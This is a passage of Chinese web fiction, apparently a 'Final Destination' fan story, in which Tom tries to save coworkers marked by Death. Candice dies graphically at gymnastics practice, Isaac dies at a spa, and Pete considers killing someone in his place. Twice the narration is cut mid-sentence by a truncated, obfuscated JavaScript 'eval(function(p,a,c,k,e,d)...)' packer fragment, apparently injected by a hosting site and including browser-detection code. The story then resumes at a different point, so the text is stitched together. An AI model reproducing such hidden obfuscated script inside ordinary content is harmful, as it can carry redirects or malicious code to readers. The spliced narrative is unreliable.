皮特没听完愤怒已吞没他的面庞。要不是汤姆紧紧拉住了他,埃萨克早被揍掉大牙。看着埃萨克那张得意洋洋的猪脸,他怒火冲天,猛地扯下胸口佩戴的白玫瑰,把它揉团砸中埃萨克圆墩的脸。“狗屎。闭上你的臭嘴。你个死胖子。”他朝埃萨克地吼。 埃萨克脸色苍白,后退开,不敢和暴怒的皮特再争执,更不敢看汤姆此时的眼神。他方才只顾刺皮特,忘了汤姆的可怕。 “……所以,”坎迪斯咬紧牙,困难地从牙缝里挤出声音。她出声使埃萨克大松一口气。坎蒂丝无视他投来的感谢目光,“第一个死亡的人会是我?” 一阵风吹来,柏杨树叶沙沙。寒意从衣摆与身体的间隙溜入,大家被冷得噤声。绿叶飘垂,扫过坎蒂丝裸露的胳膊,犹如细针划过皮肉,她受惊得打了个激灵,乞求地望着汤姆。 汤姆叹息了一声:“我会尽力。”他转对其他人说,“那些报纸留给你们。我在纸上做了笔记,对你们也许有帮助。死神的手段无非是一个又一个连环相扣的巧合。只要打破其中某个环节,便有几率阻断危险。” 他们没再交流,没多久,葬礼开始举办。经理丹尼斯·莱普曼率先发言,汤姆才恍然响起,还有丹尼斯。但汤姆才和丹尼斯闹了不愉快,告诉丹尼斯这事,他都能想到经理会用多不屑的表情嗤笑他。 算了,一时半会也轮不到丹尼斯,汤姆想,等以后再说吧。 葬礼结束后,大家拥抱着告别。汤姆拒绝了皮特送他的邀约。马路拥挤,坐皮特的车回去说不定太阳都快落了。 等汤姆回到家,没多久门铃响起来。坎蒂丝站在门口,手里拉着行李箱,垂着头嗓音微弱地说话。她重复了好几遍,汤姆才听清。坎蒂丝害怕得不敢一个人待,想搬来和自己住, 汤姆没有犹豫就答应了。他正担心死神趁坎蒂丝独处时动手。 从那之后,两人几乎寸步不离。 皮特不承认他嫉妒,眼睛却诚实地盯着两人在公司的互动,直到意外发现他们住一块,皮特叫怒火烧晕了头,又骂又闹,扰得汤姆烦不胜烦,揍了他一拳头,才让他带着东西滚过来。 一切都很正常。死神似乎放弃了这群人。但汤姆知道不可能,眼下的平静就像个美丽但气泡,一戳就破,死神用它来迷惑人心。 这招屡试不爽。汤姆很悲伤地发现,死神的阴谋成功了大半。 坎蒂丝已经松懈;皮特只顾捣乱,不肯让坎蒂丝占据汤姆的视线。埃萨克又和各个女孩调起情,一见汤姆沉下脸,冷嘲热讽。汤姆或许该高兴这人终于不用色眼打量自己。萨姆和莫莉委婉地关心,问他是不是压力太大。至于奥维利亚和内森,汤姆一连几天没看到他们的身影,这才反应过来,两人故意躲着自己。 背后的心思不难猜测。汤姆见过这类人,明白自己是被当成疯子、厄运呢。也是,任谁撞上一个张口闭口死神盯上你的人,都会觉得对方该待的不是公司,而是精神病院吧? 然而明白是一会事,汤姆控制不住地感到难过。他不由想起艾瑞丝。 艾瑞丝曾拼命想保护自己的孩子,她的儿女却发自心底深深地憎恨着母亲。那个时候艾瑞丝什么感受?也会难过吗? 汤姆曾背着艾瑞丝,悄悄去找这对姐弟,提及艾瑞丝时,差点被赶出门。他们眼睛里自然流露出的厌恶,浓厚、深沉,宛若听到的是毕生最痛恨的仇人名。汤姆回家后难受了好几天。艾瑞丝明明是顶好的人。 而现在,汤姆想找艾瑞丝了。艾瑞丝肯定知道怎么办。汤姆感觉胸口闷闷的,他不愿回想白日公司里大家对他的态度。光是一个闪躲的视线,自己的心脏就咻的紧缩,有一种被针扎的细密的疼。 就在这时,坎蒂丝要返校参加训练。汤姆跟着去了。皮特见状,特意请了假,跟上两人。 训练场馆里充斥人与器械的声响。随体操员摆动,杠体发出轻轻的咯吱声。它微不可闻,掩映在更喧哗的脚掌与木面、弹性垫的接触声中。教练的口令穿过闷热的空气,抵达训练场每个人的耳朵。 大家满头大汗。空调坏了,地面摆了好几个风扇,呼呼直吹风。刚训练完得体操队员气喘吁吁地用毛巾擦汗,抬脚跨过地上长长的风扇线。 汤姆扫视了场地一眼,脑袋抽疼。太多了,危险的、不可控的因素。只看那些在平衡木、高低杠上跳跃翻转的运动员,他就感觉头皮发麻。“一定要参加训练吗?” 坎蒂丝绕着手腕的皮筋,“我也不想,可这是个很好的机会。马上要比赛了,我不能再缺——” 一声轻轻的啪声,坎蒂丝手腕的皮筋断裂。“哦不。”坎蒂丝懊恼地唤了一声,抓起裂成两段的皮筋揣进包。 汤姆拉住她的手,“坎蒂丝,别参加。我觉得......很不妙。我担心死神会在这里下手。” 坎蒂丝有一瞬间的迟疑,“汤姆你确定吗?之前一直没事,会不会这次也是你多想了?” “不一样,这次的预感很强烈。”汤姆指着坎蒂丝的包,“那根皮筋不是你的幸运物吗?它断了。这是征兆。” “汤姆,你不认为这太牵强了吗?”坎蒂丝神情为难,她愿意继续听汤姆的理由,可教练在叫她。“不行,我得去训练了。抱歉,汤姆,我不是不相信你。只是这场比赛太重要了。”她握着汤姆的手匆匆说完,转身朝训练场跑去。 汤姆只好对她的身影喊:“小心电线,风扇,注意看木杆,螺丝松了吗,有没有异物......” “知道啦。”坎蒂丝头也不回地挥手。 不安笼罩了汤姆的心头。他想跟上去,门口的保安警惕地望来。 “汤姆,坎蒂丝呢?进去了?”去停车回来的皮特看汤姆一个人,往场内探头,找到坎蒂丝的身影。他的心情顿时愉快。“走吧,我们去观众席。” “不,你去吧。”汤姆摇摇头。他不放心。“我在这里看会。” 皮特立马表示:“我陪你。” “不用,你去观众席坐着。” “不,我就要和你一起。” “去观众席。” “不要。” “滚。” “......” 皮特念念不舍地边走边回头望,见汤姆始终不叫他,愤怒地踢了一脚墙,狠狠踩踏着地板离开了。 汤姆叹了一口气。他不想让皮特掺和进来。戏弄死神的人会死得更惨。 训练场内尽然有序。体操运动员们如蝴蝶般,在高低杆和平衡木上翻飞,身姿轻盈,完成空翻像呼吸似的轻易。 汤姆却不自觉想到:万一,万一掉下来...... 他不禁看向地面,有的铺了深蓝的保护垫,有的则是光滑的地板。忽然,汤姆的视线凝固在某处—— 那儿的风扇线积了一滩水。 仿佛有所预感,汤姆扫过风扇线四周,果然看到用毛巾擦着脸的坎蒂丝。她正朝着这处走来。毛巾遮住她的面。 汤姆猛地冲进场地,在此起彼伏的惊呼声中,他跑到坎蒂丝身边。坎蒂丝因动静而停下脚步,她才回头,肩膀就被拉住。 “汤姆。你怎么进来......”她留意到汤姆盯着某处。顺着望去,她看到脚前的破了皮的风扇线。拇指粗的铜线暴露在空气里,被水滩淹没。 “天哪。”坎蒂丝后退两步。她发现水滩在蔓延流来。 汤姆一把拿过毛巾,丢上水滩,踩了一脚。他还没来得及为危机解除而松一口气。教练斥责声传来。 “臭小子,你干什么。” 坎蒂丝赶忙解释。教练脸色这才好看,“谢谢你。但还是请你注意,这里是训练的地方。突然闯进来,女孩儿们万一受到惊吓,容易掉下来。到时候骨折都是小事。” 接着,教练请汤姆离开训练场。汤姆放慢了脚步,边走边环顾四周。 想到汤姆挽救了一场事故,教练忍下催促,却见汤姆骤然转身,朝平衡木走去。她皱眉要出声,就见人捏着枚铁钉回来。 教练深深地看了他一眼,“这次真得感谢你。”她看汤姆还在打量,“说吧,小伙子,你还看到什么?” 汤姆指向一个体操运动员正握着做翻转动作的单杠,伴随一声又一声的咯吱,连接处的螺丝松了半个头。 教练神情马上变得严肃,她大喊,让运动员停下,心里奇怪,明明定期检查器械 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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汤姆看到坎迪斯整个人以扭曲的姿势俯趴在地。她如同一根软木条,有双无形而残酷的巨手,捏着头尾两端,将她自腰部反向对折。断裂的小腿骨头划开皮肉,肩胛骨处鲜红的脊椎暴露在空气里。 轰然的重物落地声回响场馆,人们感受到脚下余颤,霎时四周寂静了,紧接着场内像烧开了热水,沸腾着汩汩上涌喧哗的气泡。 “坎蒂丝!” “快……快打911。” “上帝啊,发生了什么?” 任谁都知道坎蒂丝不可能活命。她的下半身逆转了整整一周,双腿紧靠脑袋,血泊从身下漫延出,猩红得令汤姆头晕眼花。 他踉跄着扶住单杠,才没失力跌坐下去。他见过死亡,看的尸体不比验尸官威廉少。然而除了姨妈,这是身边第一次有人死于死神之手。 溺水似的无力感陡然席卷了汤姆,他握着杆,原地打颤。训练场里的人像炸了窝的蚂蚁,骚动得跑来跑去,遮住了坎蒂丝。那具尸体却在汤姆的眼里挥之不去,重影恍惚,又出现几具血淋淋的死尸,皮特、萨姆、莫莉...... 冥冥之中,一道阴冷森然的声音在他耳边低笑嘲弄:没用的,你个傻子。 也许真是这样,他只能眼睁睁看萨姆他们一个个走向死亡。想起方才高兴的自己,汤姆感觉羞怒,活生生蠢蛋一个。可不是嘛。他涩然一笑,埃萨克把他当小丑瞧,他也真像个招人发笑的丑角,折腾来去,却徒劳无功。 坎蒂丝死了,死状凄惨。汤姆不知道是不是自己之前的举动惹恼死神。或许没他掺和,坎蒂丝还能死得轻松点。 他现在好茫然,又想到其他的幸存者,汤姆蓦地生起一股庆幸的希望:有了坎蒂丝这出事,萨姆他们会变得重视吧?念头刚冒出,汤姆羞愧地唾弃自己。 从场地中央不断传来尖叫、呵斥、痛哭,汤姆的大脑嗡鸣不断,犹如塞了百万只蜜蜂进去。他恨不得掀起头骨,对那群扰人的虫说,飞吧,通通给我飞走。 “啊——” 皮特的惨叫唤醒了汤姆。他扭过头,一下子又生气又想笑。 皮特躺在靠近看台的地板上,抱腿呼痛。想来是他从观众席跳下来,摔了个结实。汤姆检查了伤口。幸好只是扭到脚。在他为皮特正骨时,皮特咬死牙不吭声,一反常态的安静。 很快警察和救护车到场。他们封锁现场,驱散人群,汤姆搀着皮特到门口,去停车场开车。当他回来,就透过车窗看到愣在原地的皮特,他目光出神处,有一辆扬长而去的警车。 汤姆把皮特扶上车,“怎么了?” “没什么。遇上个疯子,瞎扯癫话。”什么他们耍了死神,死神会一个一个找他们索命,除非......皮特呼吸一窒。奇怪黑人的话历历在耳。“找别人替死,你能享受他剩下的生命。” 他想到了之前葬礼上埃萨克的叫嚣。他死了,汤姆去找新的男朋友?不——他不允许。他不能死。 悲剧发生的第二天,汤姆抵达公司,罕见地看到了奥维利亚,埃萨克则远远躲走。偌大的办公室很空荡。公司没再招人,汤姆听了几次部门要被裁掉的流言。皮特悄声告诉他,那不是流言。 内森提着一箱啤酒进门。“喝不?”他晃了晃手中的啤酒,“从罗伊卡车上偷的。他今天太咄咄逼人,我要被他逼疯了。”他对伙伴们埋怨。 内森是大学毕业进的公司,入职后成了工厂的监工,是个不大不小的职务。但他没皮特幸运。工人们在厂里干了数年,很难对空降的年轻小领导服气。工会代表罗森的态度最恶劣、明显。他视罗伊为毛头小子,十分轻蔑。两人三天两头起冲突,大吵小闹不断。 大家欢呼着人手一罐,喝起酒来。莫莉和内森神情有些悲伤。他们和坎蒂丝玩得好,还没从坎蒂丝的死中走出。 奥利维亚宽慰地说:“我们都该预见这事。”汤姆和萨姆同时看向她。奥利维亚隐约感知两人可能误会了,“你们看到过体操运动员的疯狂举动了吧?老实说,我很惊讶,这事没经常发生。” 汤姆仰头闷了一口酒。奥利维亚还是不相信他。没几人信他。萨姆明明预知了一切,为什么,为什么他也认为坎蒂丝的死亡会是个意外? 正巧埃萨克徘徊走来,畏畏缩缩地称丹尼斯叫他。汤姆当即起身。说他懦弱也好,他想逃离这里,一会儿,让他缓一会儿就好。 皮特跟着起身。汤姆按住他,“没事,我很快回来。你们继续。” 汤姆的心情不好,也许不开心表现在脸上。皮特这次没有坚持,听话地坐回去。 刚进办公室,丹尼斯头也不抬命令道:“你去把已故员工的门禁卡销毁。这是材料文件......” “怎么不找后勤经理?”汤姆不愿意看到坎蒂丝工卡上的灿笑照片。 丹尼斯瞪了他一眼,汤姆无辜地回望。几秒后,他用力把文件拍上桌面,“后勤经理死了。明白?” “那也和我没关系。”汤姆说。受到大桥事故的影响,公司业绩惨淡,但再怎么样,一下子少了大半的人,工作量并没有减少。连日的工作,加上坎蒂丝的死亡,汤姆的心情并不好。 在他和经理争执时,透明的磨砂玻璃外,众人还在喝着酒。在工位之间,埃萨克的身影若隐若现。 他拿起相框,状似怀念地说:“黛比。”余光左右环顾,另一只手拉开柜子,迅速拿走中意的东西。“你真淘气。”随后他走到新工位,故技重施,“史密斯,好兄弟。嘶——” 埃萨克手指一疼,血珠冒出,他恼怒地低头。柜子里放着好几个黑钉,钉子之下,一张命运理疗券(MING YUN SPA)跃入眼前。埃萨克顿时笑了,真心实意地说:“好兄弟。” 忽然,闹钟响起,吓得埃萨克连忙把券塞进兜里,假装若无其事地打量。 “Shit。”奥利维亚骂了句,匆忙起身。她约了个近视手术。“我得走了。” 她回到位置上拿包,转身时,包刮落相框。咔嚓一声,玻璃镜框碎了。奥利维亚弯腰去捡,目光看到相框顿住。照片上的玻璃裂纹自右眼处呈蛛网散开。 “怎么了,奥利维亚。”莫莉问。 “没,没事儿。”奥利维亚回过神,随手拉开抽屉,把相框丢进去,关好柜子。“对了,帮我和汤姆道个歉。不管怎么说,他也许初心是好的,我不该那么对他。”她语气急促地丢下这句话便离开了。 等汤姆回来时,正听到萨姆提议庆祝。他明显认为一切都结束了。 “庆祝什么?”皮特问。 “找到个新工作。”内森耸耸肩,“我们迟早会被解雇。” 皮特喝着啤酒,闻言说:“你这话太坏人兴致。” 莫莉握着酒思考几秒,“庆祝我们重新开始。” “嗯,”皮特将喝空的啤酒放在桌面上,冷不丁地说,“没准坎蒂丝只是个开始。” 昨晚,皮特发现汤姆膝盖和手掌凝了血痂的擦痕,尽管汤姆没说,但皮特不用想也知道,那是汤姆跳下看台时受的伤。这些天他和汤姆待在一起,他从未这么了解汤姆。这个亚裔的男孩漂亮外表下,心肠也是多么柔软、多么可爱,招人心疼。 他看到汤姆为了避免坎蒂丝的死有多操心。他看见汤姆两次跑进训练场。他知道汤姆已经找出了很多的小意外。实在是死神那家伙太混蛋!让人防不胜防。他好想叫汤姆别管他人死活,可他的男孩只会以为他在嫉妒,给他一拳头。不得不说,太他妈疼了。不愧是学过拳法的。 总之皮特忿忿不平。他们怎么能那么轻松地说出庆祝的话?他那句话音落后,萨姆他们沉默了,埋头喝闷酒。 空气中的氛围紧绷,尴尬在人群里蔓延。汤姆走了过来,“你们刚刚在庆祝吗,我也来一个。” 皮特抓起罐啤酒迎上去,边走变拉开扣环。他把冒着泡沫的啤酒递给汤姆。汤姆举起它,“庆祝我们都能活着。” 皮特另拿一罐啤酒打开,第一个和他碰杯。“祝活着。” 46.死神来了4 电话铃响起时,办公室满地的啤酒罐刚被收拾好。萨姆接起听筒。那头的人说了什么?汤姆看到萨姆恍如雷劈,挂断电话后,他的双目无神地睁着,好一会儿,他呆滞地说:“埃萨克死了。” 开了话头后,萨姆越说越顺畅:“理疗馆起火了,但他是被佛像砸死的,浑身扎针,脑袋破了好大一个窟窿。” 话如寒冰,凿入每个人的身体。外头好天气,暖意洋溢在空中,无法驱散渗入骨头的冰冷。 萨姆不愿见气氛压抑,转述了个玩笑,“救火的消防员还以为看见了只胖刺猬。”他该先笑出来,可扯了下嘴角,露出的笑愈发难看。 现场无人发笑。他没有讲俏皮话的天赋。颇有画面感的表述,反使几人倒抽一口冷气。 “上帝啊。”仿佛真有一个扎满银针、挺着大肚腩的肿胖死尸出现在眼前。 声音很轻,却压得人心情沉重。莫莉无言,内森攥住胳膊肘下的工位板。尽管汤姆不喜欢埃萨克,听闻他的死讯,仍为一条人命的逝去而可惜。 最平静的当属皮特。他不是烂好人。花心胖子和他关系本就淡,葬礼还闹了不快。听说他死了,皮特没笑出来都是对死人莫大的尊重了。 但话说回来,看不顺眼的家伙遭了厄运,真他妈让人开心啊。不,不能笑。皮特抿住唇,他不想汤姆生脾气。或许自己会被骂冷血?混蛋?不痛不痒。而且想到恋人用那双好亲的软唇骂人,皮特就兴奋。 在皮特兀自头脑发热时,汤姆轻声问:“消息确实么?”尽管他已经信了七八分,但太快了。死神的动作太快了。 “布洛克说的。” 其他人恍然,唯有汤姆更加疑惑。或许看出这点,萨姆解释:“一名警探,大桥坍塌案由他负责,审讯了我半天,也算是老熟人。”萨姆对这名警察影响深刻。不知道这人哪根筋搭错,非认为萨姆是可疑分子,叫他窝了一肚子的火气。现在提起对方,语气也好不起来。 “套了身警服的蠢驴罢了。”皮特懒洋洋地伸了个腰,语气不屑。汤姆看来。他精神一振,“汤姆,你知道他驴叫了什么吗?哈他说萨姆是个恐怖分子。要我说,萨姆把炸药吞了,都比他揣着去炸桥可信。” 皮特自从在吊桥死里逃生,性子变张扬,说话没了顾忌。汤姆苦恼地提醒他:“礼貌点,皮特。” “实话总刺耳喽。” 莫莉反驳:“没你说那么不堪。我和那名警官接触过。他脾气执拗,出发点是好的。” 皮特要开口,汤姆拍了他一掌。皮特顺势握住人的手。 两只手亲昵牵在一起,萨姆的眼珠犹如被针扎了下。他移开视线,却望进汤姆的眼睛。那双黑瞳温和地瞧着自己,激起萨姆心中的愧疚。“对不起,汤姆。之前不够信任你。连对这些事最嗤之以鼻的皮特都选择支持你。”皮特骄傲地挑挑眉,“我却瞎了眼,看不穿真相。明明你才是对的。” 内森走上来。“我也得跟你道声歉。我以为你疯了,我还躲着你。原来我才是傻蛋。”他懊恼地拍脑袋,“你快叫我干什么吧,我得弥补过错。你说什么我都不会抱怨。我认真的,就算让我跟那臭老工头求和,我都——好吧,我做不到,除了这个。” 莫莉也温声抱歉。汤姆将他们真诚的神色尽收眼底。他知道随着事态发展,大家会发现自己说话不假。但当这一刻来临,比起喜悦,汤姆心中更多的是惶恐。坎蒂丝血淋淋的扭曲尸体浮现在眼前。他承担不起别人寄托了生命重量的期许啊。 汤姆自嘲:“我对了又怎么样?不顶用。坎蒂丝还不是死了。又没救下人。” “不,你已经——” “别胡说——” 萨姆和皮特同时开口,他们目光相望。皮特犹疑地打量往日温吞的好兄弟,他方才急迫解释的模样,怎么感觉不对劲。 莫莉过来挨着汤姆的肩膀,“别给自己太大压力。毕竟,你可是在和神作对,失败多正常?真让你成功了,死神的脸面不要了?” 汤姆感谢她的安慰。“你说得对。”他把事想简单了,艾瑞丝都没能救得了幸存者。 “所以我们现在怎么做?去看埃萨克吗?”内森插话。 汤姆想到死神的下一个目标。“奥利维亚呢?” “她急匆匆地走了。”皮特指了下时钟,“大概十点的时候。” 死神会马不停蹄地挥舞镰刀吗?埃萨克才死去啊。“去哪儿?” 皮特耸了耸肩,示意他回答不上来。内森摇摇头,萨姆愁闷地说他不清楚。 莫莉迟疑了一会儿,“我也许知道。”她回答,“前两天聊天,奥利维亚说想做近视手术,准备去北湾医院咨询。你们知道,她早不乐意戴眼镜了。” 汤姆当即起身,“我现在去医院。” 皮特也腾地站起来,椅子滑轮咕噜往后滚。“我也去。”萨姆忙说。内森和莫莉也迈步要跟。 “不。”汤姆冷酷地拒绝所有人,“你们要么坐下,要么去看埃萨克。我一个人去。”不管大家的困惑,他扬长而去。 和其他人一起被留在办公室内,皮特神情晦涩。上一个是坎蒂丝,这次是奥利维亚。接下来是谁? 好友脸色实在难看。萨姆试探着问他:“那我们去理疗馆?” 皮特抓着窗边的栏杆,紧盯离开公司大门的身影,怒气在眼睛里燃烧。“走啊。”他大阔步走出办公室。 皮特一行人前往理疗馆的路格外顺畅,抵达时,才过了十来分钟。另一头,汤姆所在的公路罕见地堵车了。 轿车挤满公路,自尽头不断蜿蜒,最远处的那辆看去还没拇指大。身后传来鸣笛声。汤姆旋身望去,不过几秒,身后堵了好几辆车。 司机纳闷地直拍方向盘:“真见鬼。这路我少说也走了十年,妈的,就没见它堵成这副狗屎样。” 汤姆心脏怦怦跳动。死神干的。祂在阻止我。汤姆绷紧下巴,这说明奥利维亚还活着。还有救! 那家伙阻止不了我。汤姆告诉自己,似乎这样便能给予自己勇气。 “我要下车。” 汤姆掏出钱包,拿出钞票塞给司机。司机笑呵呵接过,热心地让他小心碰头。 北湾医院离这一英里不到,汤姆下了车就跑。起初,风不断刮过身侧,模糊了车鸣声。后来人的身影变多,前所未有的多,仿佛全世界的人都汇聚到这条街。他们在抱怨,肩膀挤着肩膀,几乎要连成人墙。 汤姆把自己当成蛮牛,只管冲,扒开人丢下句对不起,汇入前方的人海。身后不住的唾骂、诅咒声,偶然瞥见罪魁祸首模样的人则愣了神。 当汤姆赶到医院,奥利维亚的叫声穿透门扉。他进门,奥利维亚躺在手术床上,脑袋被固定,正上方的机器射出尖锐红光。奥利维亚惨叫连连。 汤姆没有犹豫,扑上前按停了机器。激光仍灼伤了奥利维 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“我......”仿佛有胶黏住了喉咙,皮特说不下去,脸色涨紫,“我——我——”他无助地捂住脸,低吼,“我该怎么说啊,汤姆。我爱你,可是......我......我会死。” “埃萨克和奥利维亚的事把你吓坏了吗?”汤姆上前揽住他,“别担心,我会尽可能保护你。” 皮特不及思索,便脱口而出:“像坎蒂丝那样?” 放在皮特的夹克外套上的手宛如被针扎,汤姆倏地收手。他捏了下拳。“为什么不是像奥利维亚呢?” “然后在下一轮死亡中担惊受怕?汤姆,上了死神名单的人不是你。” 汤姆火气冒上来了。“不然呢?你想做什么?去拳打脚踢死神?去啊,你揍他。把那家伙揍去七层地狱吧!这样大家都不必害怕了。” 白炽灯忽暗忽明地闪了一下。争执的两人没有关注,皮特侧过头。“我没这意思。”他刚才都说了什么啊。“抱歉。我知道你尽力了。我不该那样说话。” 他抬手要碰汤姆,汤姆打开他的手,“还有什么话一并说了吧。你想说的不止这个吧。” 皮特张了张嘴。“我想说的......” 我想说什么?黑人的话回荡在脑海,‘找别人替死,’他想找个替死鬼,‘你能享受他剩下的生命。’他想活着。 “我只是想要活着。我不想死。”所以只能让别人去死。但汤姆不会同意。皮特悲伤地意识到,汤姆只会阻止我,哪怕知道他会死。